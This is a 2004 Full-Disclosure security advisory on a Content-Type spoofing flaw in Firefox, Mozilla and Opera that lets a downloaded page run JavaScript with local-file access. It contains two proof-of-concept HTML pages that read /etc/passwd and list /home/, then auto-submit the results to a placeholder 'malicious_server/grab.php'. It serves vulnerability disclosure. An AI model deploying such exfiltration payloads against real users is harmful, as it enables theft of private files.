full-disclosure - [ZH2004-18SA]Firefox/Opera-bypass of security restrcition by Content-Type spoofi

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From: badpenguin79 at hotmail.com (Giovanni Delvecchio)
Subject: [ZH2004-18SA]Firefox/Opera-bypass of security
	restrcition by Content-Type spoofi

[ZH2004-18SA] Content-Type spoofing in Mozilla Firefox and Opera could allow 
users to bypass security restrictions

12/12/2004

Author: Giovanni Delvecchio
e-mail: badpenguin@...e-h.org

Browsers tested:

- Firefox 1.0
- Mozilla 1.7.x
- Opera 7.54 (*)
- Konqueror 3.3.1
- Epiphany
-Internet Explorer 6 with SP1
-Internet Explorer 6 with SP1 + SP2

Browsers affected:

- Firefox 1.0
- Mozilla 1.7.x
- Opera 7.51,..7.54

( maybe also previous versions)

Problem Description:
===================
A problem exists in some browsers where it is possible by a Content-Type 
spoofing to "force" the target user to open a page
and bypass the security zone and execute javascript in local context.

Indeed, when the user "victim" visits http://malicious_server/paage.html, if 
malicious_server responds
with a page containing an unknown Content-Type field ( for example 
text/html. ,note the dot) ,the browser will show a
dialog window with some options (open, save, cancel). Choosing "Open" to 
view this page, it will be downloaded
and opened in local ; javascript code will be executed in local context.
Obviously, if the user chooses to save and open it after the result is 
equal.

I tested this with some browsers but it seems that just Mozilla Firefox and 
Opera(*) are exploitable in this mode.

(*) For Opera, this method of exploitation requires that opera must
be set as Default Application in "handler for saved files" in case the
user chooses "Open" in the dialog window.

Impact
======

It could allow remote users to :

- obtain the content of /home/ directory ( or c:\Documents and Settings\ for 
windows systems ) and therefore gather a set of usernames present on the 
target system.

- know if a particular program is installed on the target system for a 
successive attack.

- Read the content of confidential files

- Read the browser's cache
In opera it is located in ~/.opera/cache4, instead in Mozilla Firefox it's 
in /.mozilla/firefox/$RANDOM-STRING.default/Cache.
Since it is possible to enumerate the directory structure , a malicious user 
could easily know the path to firefox's cache

PoC:
===
The following PoCs are refered to linux versions of Firefox and Opera, but 
they can be applied also to Windows versions.

In order to test Content-Type spoofing i have modified an open source 
webserver to make it respond with a fake content-Type

Example to read a local file by inner.HTML method:

--------------------------------------------------------
<HTML>

<BODY onLoad="ReadFileContent()" >

<iframe name="local_file" src="file:///etc/passwd" height=0 
width=0></iframe>

<form name="module" method="post" action="http://malicious_server/grab.php" 
ENCTYPE="text/plain">
<input name="content" type="hidden" size="300" >
</form>

<script>

function ReadFileContent(){

alert(local_file.document.all(0).innerHTML);

document.module.content.value+=local_file.document.firstChild.innerHTML;
//send content to malicious_server
document.module.submit();
}

</script>

</body>

</html>

(*) it works with Firefox, with Opera it works just if a file has a .htm or 
html extension.
-----------------------------------------------------------

List the directory structure:
----------------------------------------

<html>

<body onLoad="

for(i=0;i<local_files.document.links.length;i++)
{document.module.content.value+=local_files.document.links.item(i);}
alert(document.module.content.value);
//send list_files at malicious_server
document.module.submit();

">

<form name="module" method="post" action="http://malicious_server/grab.php" 
ENCTYPE="text/plain">
<input name="content" type="hidden" size="300" >
</form>

<iframe name="local_files" src="file:///home/" height=0
width=0></iframe>

</body>

</html>
-------------------------------------------

Vendor notice
==============
24th November 2004: I have contacted mozilla by security@...illa.org
and Opera by its bug track page at https://bugs.opera.com/wizard/

Response From Mozilla https://bugzilla.mozilla.org/show_bug.cgi?id=273419 :

"The problem is that Mozila use the mime-type for served by http documents 
but it
does use the extension for opening local files.
Disable the "open with" option if the application is Mozilla itself.
This would move the "who is to blame" around to the user because he has to 
go
through the OS Filemanager to open it."

Greets:
======
Thanks To: SI^MoNa, SecurityWireless, Siegfried for testing.

http://www.zone-h.org/advisories/read/id=6502

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